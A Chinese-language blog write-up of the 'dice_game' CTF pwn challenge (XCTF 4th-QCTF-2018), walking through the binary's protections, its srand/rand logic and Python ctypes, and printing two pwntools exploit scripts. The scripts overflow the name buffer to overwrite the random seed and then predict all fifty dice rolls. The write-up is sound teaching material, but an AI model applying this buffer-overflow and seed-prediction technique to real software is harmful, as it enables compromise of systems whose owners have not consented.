dice_game攻防世界进阶区
dice_game
XCTF 4th-QCTF-2018
前言,不得不说,虽然是个简单题但是还是要记录一下,来让自己记住这些东西。
考察的知识点是:
1.cdll_loadlibrary加载对应库使得Python可以使用c的函数。
2.关于srand函数中种子的介绍。
3.一些平时没有见过的杂项
保证我写的很详细,因为我也是个菜鸡
----第一步查看保护喽
第一眼就很恐怖嗷,居然就只有canary没有开,其他的全开,got表也不能修改,我就很痛苦嗷
----第二步ida看看
main函数这里要说的呢
1.这里设置了种子,并且应该注意地址在rbp-10h
2.这里v6是read函数的返回值,返回数值呢
3.注意看什么时候设置截止符'\x00'
函数名字以及备注是我看错的地方,我以为这个函数是爆破点的,另外我就把这个函数里面其他的东西解释解释吧:
%hd是读入短整型整数,与long int 相对
_assert_fail,assert是宏,这是设置一个出现错误时候应该输出的,我一开始以为这个东西是值得爆破的地方呢。
负责输出的函数,那么我这里记录一下我的思路:
1.可以直接修改v8的数值到50,直接获得flag
2.每次把v2直接暴露出来赋值给v1
3.负责破坏跳转直接跳转到暴露的地方。
那么这里三种方法其实都是不行的,与答案有点相关的是第二个方法,这里我主要介绍一下srand函数seed,以及rand函数吧。
seed是种子,负责伪随机数列,srand是设置种子的函数,rand函数呢是取伪随机数列。依次对于数列里面的数值去取,详细的我就不说了。
那么这里我们只要获得seed我们就可以知道每一次应该输入的v1数值。
保证我们每次猜,每次对。
另外想要解释的是:ctypes这个py库
说实话这个库我看文档是完全没有看懂的,这里看了别人写的博客,我把博客地址黏贴到这里了(更好的博客园)
https://www.cnblogs.com/gaowengang/p/7919219.html
ctypes是负责在py里面使用c语言的函数,因为这里我们必然要在exp写rand以及srand,所以就要加载相应的库。
加载进去库之后,要使用相应的函数还要使用对应的函数,Linux下就是:
cdll.LoadLibrary()
-
from ctypes import *
libc=cdll.LoadLibrary("libc.so.6")
这里要使用就这个样子了.
所以我就先贴上exp了。
from pwn import *
from ctypes import *
p=process('./dice_game')
libc=cdll.LoadLibrary("libc.so.6")
payload= 'a'*0x40+p64(0)
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
a=[]
for i in range(50):
a.append(str(libc.rand()%6+1))
print a
for i in a:
p.recv()
p.sendline(i)
p.interactive()
这里exp写了两种
from pwn import *
from ctypes import *
p = process('./dice_game')
payload = 'a'*0x40 + p64(0)
libc = cdll.LoadLibrary('libc.so.6')
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
libc.srand(0)
for i in range(50):
a=str(libc.rand()%6+1)
p.recvuntil("Give me the point(1~6): ")
p.sendline(a)
p.interactive()
大家伙可以看看这里两种有什么区别。(好吧估计也没人看我写的博客,也就自己看看吧)
我先介绍一下这里exp吧
都是覆盖到seed那里,然后随便改一个数值修改seed,但是恰好是这里,让我博客打了一半有了新的发现。
这里你如果覆盖成seed为0,1的话,其实他这里生成的数组a是相同的元素,我记得srand默认参数是1,然而这里第一个exp的话是没有后面再次更改srand()的值,直接使用了默认,因为这个人覆盖的这里也是0,但是我其实是不推荐这种做法的。
对于第二个exp,这里还是使用了libc.srand(0)
因此比第一种更好点。
------------------麦林pwn手
如果觉得CSDN越来越拉,并且在CSDN写博客是一件很拉的事情,麻烦点个赞再走。
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